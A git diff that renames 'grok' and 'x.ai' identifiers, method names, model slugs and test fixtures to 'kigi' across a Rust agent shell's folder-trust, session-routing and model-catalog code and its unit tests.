--- a/crates/codegen/kigi-shell/src/agent/folder_trust.rs
+++ b/crates/codegen/kigi-shell/src/agent/folder_trust.rs
@@ -148,7 +148,7 @@ pub fn project_scope_allowed(cwd: &Path) -> bool {
 /// is on, the workspace is NOT store-trusted, and repo-local code-exec configs
 /// are present (something to gate). Interactivity is forced `true` because the
 /// caller already confirmed the client can prompt (it advertised
-/// `x.ai/folderTrust.interactive`); the TTY-based [`decide_inputs`] default is
+/// `kigi/folderTrust.interactive`); the TTY-based [`decide_inputs`] default is
 /// false under the ACP stdio transport. Mirrors the [`decide`] precedence so it
 /// cannot drift from the gate: feature-off (kill-switch / opt-out) / store-trusted
 /// / no-configs all collapse to a non-`Prompt` verdict and return false.
@@ -226,7 +226,7 @@ pub(crate) fn record_for_test(cwd: &Path, allowed: bool) {
 /// `allow_prompt` must be `true` ONLY where a blocking stdin y/N read is safe —
 /// i.e. agent `initialize` for the launch directory, before the TUI takes over
 /// the terminal. Every other call site (per-session cwd, leader-served sessions
-/// whose cwd differs from the launch dir, `grok mcp doctor`) passes `false`, so
+/// whose cwd differs from the launch dir, `kigi mcp doctor`) passes `false`, so
 /// an unresolved interactive-but-untrusted workspace resolves **fail-closed**
 /// (untrusted, no prompt) — only the launch dir is ever prompted for.
 pub fn resolve_and_record(cwd: &Path, remote: Option<&RemoteSettings>, allow_prompt: bool) -> bool {
@@ -290,7 +290,7 @@ pub fn resolve_launch_dir_trust(cwd: &Path, remote: Option<&RemoteSettings>) ->
 /// - A cached **grant** (`Some(true)`) is durable and short-circuits — neither
 ///   `store_trusted` nor `recompute` runs.
 /// - A cached **untrusted** verdict (`Some(false)`) is re-checked via
-///   `store_trusted`: a `grok --trust` grant issued AFTER this workspace was
+///   `store_trusted`: a `kigi --trust` grant issued AFTER this workspace was
 ///   first resolved writes the store, so honor it on the next session without a
 ///   restart. Without this re-read a long-lived leader would mask the grant.
 /// - An **unrecorded** key (`None`) does a full `recompute`, which reports
@@ -389,7 +389,7 @@ fn compute_from_inputs(
 /// merged server list when the workspace is untrusted.
 ///
 /// SINGLE SOURCE OF TRUTH for "project-scoped MCP names" across ALL gate sites
-/// (session merge, the session-less agent pool, `grok mcp doctor`). It MUST
+/// (session merge, the session-less agent pool, `kigi mcp doctor`). It MUST
 /// enumerate every project MCP source the loaders read; adding a new repo-local
 /// MCP source without extending this fn silently re-opens the gate (guarded by
 /// `project_scoped_mcp_names_cover_every_source`).
@@ -1190,9 +1190,9 @@ mod tests {
         // can distinguish it from user/plugin servers. Asserts on the specific
         // key, so any real `~/.kigi/lsp.json` on the test host is irrelevant.
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("lsp.json"), r#"{"projlsp": {"command": "true"}}"#).unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("lsp.json"), r#"{"projlsp": {"command": "true"}}"#).unwrap();
 
         let sourced = load_servers_with_plugins_sourced(tmp.path(), &[], &[], &[], &[]);
         let (_, source) = sourced.get("projlsp").expect("project server present");
@@ -1209,9 +1209,9 @@ mod tests {
         // End-to-end of the load-site gate (Sites A/B): a project server loaded
         // from `<cwd>/.kigi/lsp.json` is dropped once the workspace is untrusted.
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("lsp.json"), r#"{"projlsp": {"command": "true"}}"#).unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("lsp.json"), r#"{"projlsp": {"command": "true"}}"#).unwrap();
 
         let sourced = load_servers_with_plugins_sourced(tmp.path(), &[], &[], &[], &[]);
         assert!(
@@ -1243,10 +1243,10 @@ mod tests {
             r#"{"mcpServers": {"projjson": {"url": "https://proj.example.com/mcp"}}}"#,
         )
         .unwrap();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
         std::fs::write(
-            grok.join("config.toml"),
+            kigi.join("config.toml"),
             "[mcp_servers.projtoml]\nurl = \"https://projtoml.example.com/mcp\"\n",
         )
         .unwrap();
@@ -1264,10 +1264,10 @@ mod tests {
     #[test]
     fn project_scoped_mcp_names_cover_every_source() {
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
         std::fs::write(
-            grok.join("config.toml"),
+            kigi.join("config.toml"),
             "[mcp_servers.cfgsrv]\nurl = \"https://cfg.example.com/mcp\"\n",
         )
         .unwrap();
@@ -1339,7 +1339,7 @@ mod tests {
         let key = workspace_key(tmp.path());
         record(&key, false);
         assert!(!project_scope_allowed(tmp.path()));
-        // Simulate a `grok --trust` grant landing in the store after the
+        // Simulate a `kigi --trust` grant landing in the store after the
         // untrusted verdict was cached: the re-read sees trusted, so the next
         // resolve upgrades the cache without a process restart.
         let allowed = resolve_and_record_inner(
diff --git a/crates/codegen/kigi-shell/src/agent/handlers/model_switch.rs b/crates/codegen/kigi-shell/src/agent/handlers/model_switch.rs
index a412500..6af9598 100644
--- a/crates/codegen/kigi-shell/src/agent/handlers/model_switch.rs
+++ b/crates/codegen/kigi-shell/src/agent/handlers/model_switch.rs
@@ -226,7 +226,7 @@ fn broadcast_model_changed(
         agent
             .gateway
             .forward_fire_and_forget(acp::ExtNotification::new(
-                "x.ai/session_notification",
+                "kigi/session_notification",
                 params.into(),
             ));
     }
diff --git a/crates/codegen/kigi-shell/src/agent/handlers/session.rs b/crates/codegen/kigi-shell/src/agent/handlers/session.rs
index 8fd60ca..d85cb9c 100644
--- a/crates/codegen/kigi-shell/src/agent/handlers/session.rs
+++ b/crates/codegen/kigi-shell/src/agent/handlers/session.rs
@@ -28,27 +28,27 @@ fn backfill_session_summary(summary: &mut Summary) {
     }
 }
 
-/// Router for x.ai/session/* and x.ai/session_summaries/* methods.
+/// Router for kigi/session/* and kigi/session_summaries/* methods.
 pub async fn handle(
     agent: &MvpAgent,
     args: &acp::ExtRequest,
 ) -> Result<acp::ExtResponse, acp::Error> {
     match args.method.as_ref() {
-        "x.ai/session/info" => handle_session_info(agent, args).await,
-        "x.ai/session/close" => handle_session_close(agent, args).await,
-        "x.ai/session/list" => handle_session_list(agent, args).await,
-        "x.ai/sessions/list" => handle_roster_list(agent, args).await,
-        m if m.starts_with("x.ai/session_summaries/") => {
+        "kigi/session/info" => handle_session_info(agent, args).await,
+        "kigi/session/close" => handle_session_close(agent, args).await,
+        "kigi/session/list" => handle_session_list(agent, args).await,
+        "kigi/sessions/list" => handle_roster_list(agent, args).await,
+        m if m.starts_with("kigi/session_summaries/") => {
             handle_session_summaries(agent, args).await
         }
         _ => Err(acp::Error::method_not_found()),
     }
 }
 
-/// `x.ai/sessions/list` — the FleetView roster. Returns every
+/// `kigi/sessions/list` — the FleetView roster. Returns every
 /// resident session plus recently-touched on-disk `Dormant` sessions. Clients
 /// poll this while the dashboard is open and reconcile against the
-/// `x.ai/sessions/changed` broadcast.
+/// `kigi/sessions/changed` broadcast.
 async fn handle_roster_list(
     agent: &MvpAgent,
     _args: &acp::ExtRequest,
@@ -166,7 +166,7 @@ async fn handle_session_close(
         // (see `MvpAgent::handle_evict_sessions` / `close_session_explicit`).
         agent.request_session_shutdown(&sid);
         agent.close_session_explicit(&sid);
-        tracing::info!(session_id = %req.session_id, "session closed via x.ai/session/close");
+        tracing::info!(session_id = %req.session_id, "session closed via kigi/session/close");
     } else {
         tracing::debug!(session_id = %req.session_id, "session/close: session not found (already closed)");
     }
@@ -181,7 +181,7 @@ async fn handle_session_summaries(
     args: &acp::ExtRequest,
 ) -> Result<acp::ExtResponse, acp::Error> {
     match args.method.as_ref() {
-        "x.ai/session_summaries/session_list" => {
+        "kigi/session_summaries/session_list" => {
             let req = serde_json::from_str::<SessionListRequest>(args.params.get())?;
             let cwd = req.workspace_directory.to_string_lossy().to_string();
 
@@ -203,7 +203,7 @@ async fn handle_session_summaries(
 
             Ok(acp::ExtResponse::new(value))
         }
-        "x.ai/session_summaries/workspace_list" => {
+        "kigi/session_summaries/workspace_list" => {
             tracing::debug!("xai/session_summaries/workspace_list is working");
             let _req = serde_json::from_str::<AllSessionOverviewRequest>(args.params.get())?;
 
@@ -215,7 +215,7 @@ async fn handle_session_summaries(
 
             summaries_to_overview_response(summaries)
         }
-        "x.ai/session_summaries/workspace_list_recent" => {
+        "kigi/session_summaries/workspace_list_recent" => {
             let req = serde_json::from_str::<RecentSessionsRequest>(args.params.get())?;
 
             let _timer = crate::instrumentation_timer!("session.list_sessions_recent");
diff --git a/crates/codegen/kigi-shell/src/agent/init.rs b/crates/codegen/kigi-shell/src/agent/init.rs
index 2deed31..92809ba 100644
--- a/crates/codegen/kigi-shell/src/agent/init.rs
+++ b/crates/codegen/kigi-shell/src/agent/init.rs
@@ -76,7 +76,7 @@ fn resolve_config(cfg: &AgentConfig, auth_manager: &AuthManager) -> AgentConfig
     crate::util::config::sync_campaign_fields(&mut cfg);
     crate::agent::config::apply_remote_settings_side_effects(cfg.remote_settings.as_ref());
 
-    // env var > remote settings > Local. Skip remote settings for Generic (grok -p, subagents).
+    // env var > remote settings > Local. Skip remote settings for Generic (kigi -p, subagents).
     if cfg.storage_mode == StorageMode::Local
         && cfg.mode != crate::agent::config::AgentMode::Generic
     {
@@ -86,7 +86,7 @@ fn resolve_config(cfg: &AgentConfig, auth_manager: &AuthManager) -> AgentConfig
     if cfg.storage_mode == StorageMode::Writeback
         && !auth_manager.current().is_some_and(|a| a.is_session_auth())
     {
-        tracing::info!("Writeback is disabled: requires auth with grok.com");
+        tracing::info!("Writeback is disabled: requires auth with kimi.com");
         cfg.storage_mode = StorageMode::Local;
     }
 
diff --git a/crates/codegen/kigi-shell/src/agent/models.rs b/crates/codegen/kigi-shell/src/agent/models.rs
index a31d960..79d238b 100644
--- a/crates/codegen/kigi-shell/src/agent/models.rs
+++ b/crates/codegen/kigi-shell/src/agent/models.rs
@@ -405,7 +405,7 @@ impl ModelsManager {
             self.reselect_current_model_if_missing(&new_config);
         }
 
-        // Push the new catalog to connected clients (`x.ai/models/update`).
+        // Push the new catalog to connected clients (`kigi/models/update`).
         // Without this, a long-running agent (leader mode) correctly swaps
         // its in-memory catalog on a config.toml `[model.*]`/`[models]` edit,
         // but already-connected clients keep rendering the stale model list
@@ -592,10 +592,10 @@ impl ModelsManager {
 
     /// Catalog opt-in to display the served-checkpoint fingerprint for this model.
     ///
-    /// `model_id` may be a routing slug (`config.model`, e.g. `grok-4.5`)
+    /// `model_id` may be a routing slug (`config.model`, e.g. `kigi-4.5`)
     /// OR a catalog key; the catalog map is keyed by the config key, which can
-    /// differ from the slug for custom/enterprise ids (e.g. key `enterprise-grok-build`
-    /// → slug `grok-4.5`). Resolve to the catalog key first so a slug
+    /// differ from the slug for custom/enterprise ids (e.g. key `enterprise-kigi`
+    /// → slug `kigi-4.5`). Resolve to the catalog key first so a slug
     /// caller still finds the opted-in entry.
     pub fn model_show_model_fingerprint(&self, model_id: &str) -> bool {
         let models = self.inner.models.read();
@@ -737,7 +737,7 @@ impl ModelsManager {
                 acp::SessionModelState::new(current, available.values().cloned().collect());
             if let Ok(params) = serde_json::value::to_raw_value(&model_state) {
                 gw.forward_fire_and_forget(acp::ExtNotification::new(
-                    "x.ai/models/update",
+                    "kigi/models/update",
                     params.into(),
                 ));
             }
@@ -749,8 +749,8 @@ impl ModelsManager {
     ///
     /// A long-running leader otherwise only refreshes its catalog from its
     /// *own* fetch paths (startup prefetch, auth change, response-header etag).
-    /// When another grok process sharing `~/.kigi` (a `--no-leader` run, a
-    /// newer client, grok-desktop) fetches a fresher `/v1/models` catalog and
+    /// When another kigi process sharing `~/.kigi` (a `--no-leader` run, a
+    /// newer client, kigi-desktop) fetches a fresher `/v1/models` catalog and
     /// persists it, this picks it up without a network round-trip.
     ///
     /// Guards, in order:
@@ -934,7 +934,7 @@ impl ModelsManager {
     /// delivering events on macOS after resume from sleep. On each
     /// notification the catalog is re-fetched from the server; if the
     /// fetch succeeds and the catalog changed, clients are notified
-    /// via `x.ai/models/update`.
+    /// via `kigi/models/update`.
     pub fn start_auth_refresh_watcher(&self, notify: Arc<tokio::sync::Notify>) {
         let mgr = self.clone();
         let had_catalog_at_start = *self.inner.has_fetched_real_catalog.read();
@@ -1687,7 +1687,7 @@ struct PrefetchEnv {
 
 fn resolve_prefetch_env_with_auth(auth: Option<KimiAuth>) -> Option<PrefetchEnv> {
     let _timer = crate::instrumentation_timer!("startup.early_prefetch_launch");
-    // Config-aware (not env-only) so the prefetch can't leak the bearer to api.x.ai.
+    // Config-aware (not env-only) so the prefetch can't leak the bearer to the BYOK endpoint.
     let mut endpoints = config::EndpointsConfig::from_effective_config();
 
     if endpoints.deployment_key.is_none() {
@@ -1796,8 +1796,8 @@ fn spawn_prefetch_thread(env: PrefetchEnv) -> EarlyPrefetchHandle {
 
 /// Map a model id (catalog key or routing slug) to its catalog key.
 ///
-/// Sessions persist the routing slug (`[model.X].model`, e.g. `grok-4.5`);
-/// the catalog and `/model` picker use config keys (e.g. `enterprise-grok-build`).
+/// Sessions persist the routing slug (`[model.X].model`, e.g. `kigi-4.5`);
+/// the catalog and `/model` picker use config keys (e.g. `enterprise-kigi`).
 /// Last slug match wins so user overrides beat defaults (matches `MvpAgent::resolve_model_id`).
 pub(crate) fn resolve_catalog_key(
     models: &IndexMap<String, ModelEntry>,
@@ -2070,7 +2070,7 @@ pub fn resolve_model_catalog(
 
     // Skip non-reasoning models so we don't send the field to providers that reject it.
     // Also skip models whose effort menu does not include the override (e.g. `--effort none`
-    // must not stamp `none` onto grok-4.5, which only offers low/medium/high).
+    // must not stamp `none` onto kigi-4.5, which only offers low/medium/high).
     if let Some(effort) = cfg.reasoning_effort_override {
         for entry in catalog.values_mut() {
             if model_offers_reasoning_effort(&entry.info, effort) {
@@ -2188,7 +2188,7 @@ mod tests {
             .try_init();
         // Use a temp dir so AuthManager finds no credentials — ensures
         // refresh_async bails at the auth check without needing a tokio runtime.
-        let tmp = std::env::temp_dir().join("grok-test-models-manager");
+        let tmp = std::env::temp_dir().join("kigi-test-models-manager");
         let auth_manager = Arc::new(AuthManager::new(&tmp, KimiCodeConfig::default()));
         ModelsManager::new(
             None,
@@ -2263,11 +2263,11 @@ mod tests {
             allowed_models = ["keep-*"]
             [model.zzz-first]
             model = "zzz-first"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             [model.keep-one]
             model = "keep-one"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             "#,
         );
@@ -2286,15 +2286,15 @@ mod tests {
         let excluded = config_from_toml(
             r#"
             [models]
-            default = "grok-3"
-            allowed_models = ["grok-4*"]
+            default = "kigi-3"
+            allowed_models = ["kigi-4*"]
             [model.kigi-3]
-            model = "grok-3"
-            base_url = "https://api.x.ai/v1"
+            model = "kigi-3"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             [model.kigi-4]
-            model = "grok-4"
-            base_url = "https://api.x.ai/v1"
+            model = "kigi-4"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             "#,
         );
@@ -2302,7 +2302,7 @@ mod tests {
         assert!(
             validate_selectable(&excluded, &catalog)
                 .unwrap_err()
-                .contains("grok-3")
+                .contains("kigi-3")
         );
 
         // Matches nothing → error.
@@ -2311,8 +2311,8 @@ mod tests {
             [models]
             allowed_models = ["nomatch-*"]
             [model.kigi-4]
-            model = "grok-4"
-            base_url = "https://api.x.ai/v1"
+            model = "kigi-4"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             "#,
         );
@@ -2362,7 +2362,7 @@ mod tests {
         );
 
         // Real switch: both subscribers see the change.
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
         tokio::time::timeout(std::time::Duration::from_millis(100), rx_a.changed())
             .await
             .expect("rx_a saw the switch")
@@ -2380,13 +2380,13 @@ mod tests {
     async fn model_switch_generation_snapshot_reflects_current_state() {
         let mgr = test_manager();
         let start = mgr.model_switch_generation();
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
         assert_eq!(mgr.model_switch_generation(), start + 1);
         // Idempotent: same id → no bump.
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
         assert_eq!(mgr.model_switch_generation(), start + 1);
         // Another real change: another bump.
-        mgr.set_current_model_id(acp::ModelId::new("grok-3"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-3"));
         assert_eq!(mgr.model_switch_generation(), start + 2);
     }
 
@@ -2430,7 +2430,7 @@ mod tests {
 
     #[test]
     fn current_reasoning_effort_seeded_from_config() {
-        let tmp = std::env::temp_dir().join("grok-test-models-manager-seed");
+        let tmp = std::env::temp_dir().join("kigi-test-models-manager-seed");
         let auth_manager = Arc::new(AuthManager::new(&tmp, KimiCodeConfig::default()));
         let mut cfg = config::Config::default();
         cfg.models.default_reasoning_effort = Some(ReasoningEffort::Xhigh);
@@ -2504,7 +2504,7 @@ mod tests {
         let mut prefetched = IndexMap::new();
         // 4.5-style: supports effort, menu is high only (no none).
         let mut no_none = ModelEntry {
-            info: config::ModelInfo::fallback("grok-4.5"),
+            info: config::ModelInfo::fallback("kigi-4.5"),
             api_key: None,
             env_key: None,
             api_base_url: None,
@@ -2518,7 +2518,7 @@ mod tests {
             default: true,
         }];
         no_none.info.reasoning_effort = Some(ReasoningEffort::High);
-        prefetched.insert("grok-4.5".to_string(), no_none);
+        prefetched.insert("kigi-4.5".to_string(), no_none);
 
         // Model that explicitly offers none.
         let mut with_none = ModelEntry {
@@ -2539,7 +2539,7 @@ mod tests {
 
         let catalog = resolve_model_catalog(&cfg, Some(prefetched));
         assert_eq!(
-            catalog["grok-4.5"].info.reasoning_effort,
+            catalog["kigi-4.5"].info.reasoning_effort,
             Some(ReasoningEffort::High),
             "--effort none must not stamp onto models that do not offer none"
         );
@@ -2598,7 +2598,7 @@ mod tests {
         assert_eq!(catalog["plain"].info.reasoning_effort, None);
 
         // The internal getters read those derived fields.
-        let tmp = std::env::temp_dir().join("grok-test-models-manager-menu-only");
+        let tmp = std::env::temp_dir().join("kigi-test-models-manager-menu-only");
         let auth_manager = Arc::new(AuthManager::new(&tmp, KimiCodeConfig::default()));
         let mgr = ModelsManager::new(
             None,
@@ -2698,37 +2698,37 @@ mod tests {
     fn first_apply_refresh_reselects_default_model() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
         assert!(!mgr.has_fetched_real_catalog());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
 
         assert!(mgr.has_fetched_real_catalog());
-        assert_eq!(mgr.current_model_id().0.as_ref(), "grok-3");
+        assert_eq!(mgr.current_model_id().0.as_ref(), "kigi-3");
     }
 
     #[test]
     fn subsequent_apply_refresh_preserves_user_model() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         // Simulate on_auth_changed clearing prefetched + etag.
         *mgr.inner.prefetched.write() = None;
         *mgr.inner.etag.write() = None;
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-4",
+            "kigi-4",
             "user's model selection must survive auth-change refresh"
         );
     }
@@ -2737,19 +2737,19 @@ mod tests {
     fn subsequent_refresh_reselects_when_model_removed() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
-        // Second refresh with grok-4 removed.
-        let prefetched = make_prefetched(&["grok-3", "grok-4.5"]);
+        // Second refresh with kigi-4 removed.
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4.5"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-3",
+            "kigi-3",
             "should fall back to config default when current is removed"
         );
     }
@@ -2773,11 +2773,11 @@ mod tests {
     fn apply_config_honors_new_preferred_model() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         // Simulate stale inner cfg (no default) from a racing auth refresh.
         let mut stale_cfg = config::Config::default();
@@ -2785,12 +2785,12 @@ mod tests {
         *mgr.inner.cfg.write() = stale_cfg;
 
         let mut new_cfg = config::Config::default();
-        new_cfg.models.default = Some("grok-3".to_string());
+        new_cfg.models.default = Some("kigi-3".to_string());
         mgr.apply_config(new_cfg);
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-3",
+            "kigi-3",
             "apply_config must honor updated preferred model from config"
         );
     }
@@ -2800,10 +2800,10 @@ mod tests {
         let mgr = test_manager();
         let cfg = config::Config::default();
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
 
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         // Unrelated config change — preferred model unchanged.
         let new_cfg = config::Config::default();
@@ -2811,7 +2811,7 @@ mod tests {
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-4",
+            "kigi-4",
             "apply_config must not reset model when preferred hasn't changed"
         );
     }
@@ -2820,16 +2820,16 @@ mod tests {
     fn apply_config_falls_back_when_preferred_not_in_catalog() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
 
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         // Preferred model not in catalog — falls back to first entry.
         let mut new_cfg = config::Config::default();
-        new_cfg.models.default = Some("grok-nonexistent".to_string());
+        new_cfg.models.default = Some("kigi-nonexistent".to_string());
         mgr.apply_config(new_cfg);
 
         let current = mgr.current_model_id();
@@ -2845,15 +2845,15 @@ mod tests {
     fn apply_config_both_none_preferred_preserves_current() {
         let mgr = test_manager();
         let cfg = config::Config::default();
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
         let new_cfg = config::Config::default();
         mgr.apply_config(new_cfg);
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-4",
+            "kigi-4",
             "both-None preferred must preserve user's runtime model"
         );
     }
@@ -2862,13 +2862,13 @@ mod tests {
     fn apply_config_old_some_new_none_preserves_current() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
-        assert_eq!(mgr.current_model_id().0.as_ref(), "grok-3");
+        assert_eq!(mgr.current_model_id().0.as_ref(), "kigi-3");
 
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         // [models] default removed — is_some() guard prevents reset.
         let new_cfg = config::Config::default();
@@ -2876,7 +2876,7 @@ mod tests {
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-4",
+            "kigi-4",
             "old=Some new=None must not reset model (is_some guard)"
         );
     }
@@ -2887,29 +2887,29 @@ mod tests {
     fn auth_refresh_then_config_reload_preserves_user_model() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
         // Initial fetch.
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
 
-        // User runs /model grok-4.
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        // User runs /model kigi-4.
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         // Auth refresh races — clears prefetched/etag.
         *mgr.inner.prefetched.write() = None;
         *mgr.inner.etag.write() = None;
 
         // Second fetch must preserve user's model.
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
-        assert_eq!(mgr.current_model_id().0.as_ref(), "grok-4");
+        assert_eq!(mgr.current_model_id().0.as_ref(), "kigi-4");
 
         // Config reload with persisted preference.
         let mut new_cfg = config::Config::default();
-        new_cfg.models.default = Some("grok-4".to_string());
+        new_cfg.models.default = Some("kigi-4".to_string());
         mgr.apply_config(new_cfg);
-        assert_eq!(mgr.current_model_id().0.as_ref(), "grok-4");
+        assert_eq!(mgr.current_model_id().0.as_ref(), "kigi-4");
     }
 
     // ── disk-cache hot-reload (external models_cache.json writes) ────
@@ -2931,7 +2931,7 @@ mod tests {
 
         let auth_method = mgr.inner.fetch_auth.read().cache_auth_method();
         cache.persist(
-            &make_prefetched(&["grok-4.5", "grok-4.3"]),
+            &make_prefetched(&["kigi-4.5", "kigi-4.3"]),
             Some("etag-ext"),
             auth_method,
             &mgr.cache_origin(),
@@ -2940,8 +2940,8 @@ mod tests {
         mgr.reload_from_cache_manager(&cache);
 
         assert!(mgr.has_fetched_real_catalog());
-        assert!(mgr.models().contains_key("grok-4.5"));
-        assert!(mgr.models().contains_key("grok-4.3"));
+        assert!(mgr.models().contains_key("kigi-4.5"));
+        assert!(mgr.models().contains_key("kigi-4.3"));
         assert_eq!(mgr.inner.etag.read().as_deref(), Some("etag-ext"));
     }
 
@@ -3025,9 +3025,9 @@ mod tests {
     fn reload_from_disk_cache_skips_identical_catalog_and_adopts_etag() {
         let mgr = test_manager();
         let cfg = config::Config::default();
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched.clone()), Some("etag-a".into()));
-        mgr.set_current_model_id(acp::ModelId::new("grok-4"));
+        mgr.set_current_model_id(acp::ModelId::new("kigi-4"));
 
         let tmp = tempfile::TempDir::new().unwrap();
         let cache = test_cache_manager(tmp.path());
@@ -3043,7 +3043,7 @@ mod tests {
 
         assert_eq!(
             mgr.current_model_id().0.as_ref(),
-            "grok-4",
+            "kigi-4",
             "identical catalog must not disturb the user's model"
         );
         assert_eq!(
@@ -3068,13 +3068,13 @@ mod tests {
             auth_method: Some(auth_method),
             origin: Some(mgr.cache_origin()),
             etag: Some("etag-stale".into()),
-            models: make_prefetched(&["grok-stale"]),
+            models: make_prefetched(&["kigi-stale"]),
         };
         cache.atomic_write(&stale);
 
         mgr.reload_from_cache_manager(&cache);
 
-        assert!(!mgr.models().contains_key("grok-stale"));
+        assert!(!mgr.models().contains_key("kigi-stale"));
         assert!(mgr.inner.etag.read().is_none());
     }
 
@@ -3093,7 +3093,7 @@ mod tests {
             CacheAuthMethod::Platforms
         };
         cache.persist(
-            &make_prefetched(&["grok-other-auth"]),
+            &make_prefetched(&["kigi-other-auth"]),
             Some("etag-x"),
             other,
             &mgr.cache_origin(),
@@ -3101,7 +3101,7 @@ mod tests {
 
         mgr.reload_from_cache_manager(&cache);
 
-        assert!(!mgr.models().contains_key("grok-other-auth"));
+        assert!(!mgr.models().contains_key("kigi-other-auth"));
     }
 
